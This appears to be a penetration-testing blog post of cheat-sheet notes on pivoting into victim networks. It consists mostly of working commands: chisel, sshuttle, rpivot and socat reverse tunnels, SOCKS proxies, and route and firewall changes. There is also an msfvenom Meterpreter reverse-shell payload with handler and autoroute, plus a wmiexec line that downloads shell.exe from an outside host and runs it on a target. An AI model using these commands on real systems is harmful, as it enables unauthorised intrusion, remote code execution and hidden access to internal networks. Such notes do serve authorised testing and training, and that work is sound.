Accessing a Victim network from Windows box which is pivoted to Kali
#On Kali
sshuttle --listen 0.0.0.0 -r user@10.10.10.10 192.168.1.0/24 or ./chisel server --port 9001 -reverse #On Victim ./chisel.exe client 10.10.10.1:9001 R:0.0.0.0:1080:socks
.\chisel.exe client 10.10.10.1:9001 R:8080:127.0.0.1:8080 R:8888:127.0.0.1:8888 R:9090:127.0.0.1:9090
#On windows
route print
#delete default route
route delete 0.0.0.0
#add a new route to kali- setting kali ip as gateway; kali_ip=which is on the same subnet as the windows box
route add 0.0.0.0 mask 0.0.0.0 KALI_IP
#Now you should be able to access all the sites which are accessible on kali from windows box. #If the above doesnt work #asuming Kali and windows are on Eht0 #add a firewall rule to allow Kali ip traffic netsh advfirewall firewall add rule name="Allow VPN Traffic" dir=in action=allow protocol=any remoteip=KALI_ETH0_IP #on Kali - Allow tun0 traffic to forward on iptables sudo iptables -P FORWARD ACCEPT sudo iptables -t nat -A POSTROUTING -o tun0 -j MASQUERADE #add below two - if even issue persists iptables -A FORWARD -i tun0 -o eth0 -j ACCEPT iptables -A FORWARD -i eth0 -o tun0 -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT Note: Lets say, you tunned the traffic from victim to kali and is accessible on 127.0.0.1 --> on windows; you can access it on Kali ETH0 IP address - http://192.168.10.10 #incase of any issues try this on windows route delete 127.0.0.1 route delete 127.0.0.0 route add 127.0.0.0 mask 255.0.0.0 KALI_IP route add 127.0.0.1 mask 255.255.255.255 KALI_IP
#to revert the changes; 192.168.206.2
route delete 0.0.0.0
route add 0.0.0.0 mask 0.0.0.0 VMWare_Gateway
Get a Meterpreter on the Target and add a route to attacker machine
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.14.14.3 LPORT=4444 -f elf -o rev
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 10.14.14.3
set LPORT 4444
run
background
sessions -i
use post/multi/manage/autoroute
set SUBNET 192.168.125.0
set SESSION 4
run
use auxiliary/server/socks_proxy
set SRVPORT 1060
run
Getting a Meterpreter Session from an Internal Network to which you do not have direct CLI access but RCE is possible
┌──(Bhanu㉿HackingDream)-[~]
└─$ ./chisel server --port 9002 -reverse
user@victim:/tmp$ ./chisel client KALI_IP:9002 6666:127.0.0.1:6666
Create a Staged Payload using HackTheWorld or msfvenom,
Go to Meterpreter Session
background
use exploit/multi/handler
set payload windows/meterpreter_reverse_tcp
set LHOST 0.0.0.0
set LPORT 6666
run
upload the reverse shell somewhere in the internal network and run it on the target machine using some other means.
Example:
proxychains wmiexec.py -debug -nooutput domain/username:'P@$$W0rd1'@192.168.111.111"powershell.exe Invoke-WebRequest -Uri 'http://192.111.110:8000/shell.exe' -OutFile 'C:\Windows\System32\spool\drivers\color\shell.exe'; cmd.exe /c C:\Windows\System32\spool\drivers\color\shell.exe"
Starting a Reverse Tunnel using Chisel
┌──(Bhanu㉿HackingDream)-[~/
└─$ ./chisel server --reverse
on Victim:
chisel.exe client http://10.14.14.14:8080 R:0.0.0.0:1080:socks
#when the user is connected you should see the below connection on your kali machine
server: session#1: tun: proxy#R:1080=>socks: Listening
use proxychains to connect to any ip/port accessible from the target machine locally on your kali box
Using RPivot to connect to Internal network
┌──(bhanu㉿kali)-[~/Downloads/Tools/Pivot /rpivot]
└─$ python2.7 server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
New connection from host 10.10.10.12, source port 4329
on Victim/Target:
python client.py --server-ip 10.10.10.10 --server-port 9999
#sudo nano /etc/proxychains.conf
socks4 127.0.0.1 1080
Access victim network using proxychains tool_name
Pivoting using SShuttle
shuttle --listen 0.0.0.0 -r username@10.10.10.10 192.168.2.0/24
Using Socat to Setup a relay to the target server
#on the jumpbox from where the target server is accessible
.\socat.exe tcp-listen:1433,tcp-connect:TARGET_SERVER_IP:1433
#Setup a relay from the jumpbox to Kali, so that we can access the target from the attacker machine
#Local SQL Client → Kali → Socat → Jumpbox → Socat → TARGET_SERVER
socat tcp-l:1433,fork tcp:JUMP_BOX:1433
Adding a Route to a different network which is accessible
#sudo ip route add CIDR dev Interface
sudo ip route add 10.10.0.0/24 dev tun2
Port Forwarding an Internal Network
ssh -i id_rsa bhanu@10.10.10.10
ssh -L 80:192.168.1.5:80 -i id_rsa bhanu@10.10.10.10
Comments
Post a Comment